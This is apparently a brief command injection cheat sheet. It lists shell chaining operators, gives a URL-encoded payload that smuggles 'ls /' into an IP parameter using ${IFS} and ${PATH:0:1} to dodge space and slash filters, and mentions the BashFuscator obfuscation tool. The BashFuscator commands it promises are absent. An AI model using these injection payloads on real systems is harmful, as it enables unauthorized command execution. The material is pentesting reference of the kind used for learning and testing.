Command Injection
Basic Command Injection
; # semi colon
\n # New Line %0a
& # background
| # pipe
&& # AND
|| # OR
`` # Sub Shell (backticks)
$() # Sub-ShellAdvanced Command Injection
When Space,and paths(/etc/passwd, /, /home ) are not Allowed
# %0a is new line
# ls will list the file
# ${IFS} when space is blacklisted
# ${PATH:0:1} it will grab / from path variables
ip=127.0.0.150%0als${IFS}${PATH:0:1}
# Final Command Becomes
127.0.0.1
ls /

Bypassing Blacklists(whoami,pwd,ls,cat)
Automated Obfuscation Tool for Command Injection
BashFuscator
we can use this tool to obfuscate our command

it will give very huge payload, to make it short we can use below command

Last updated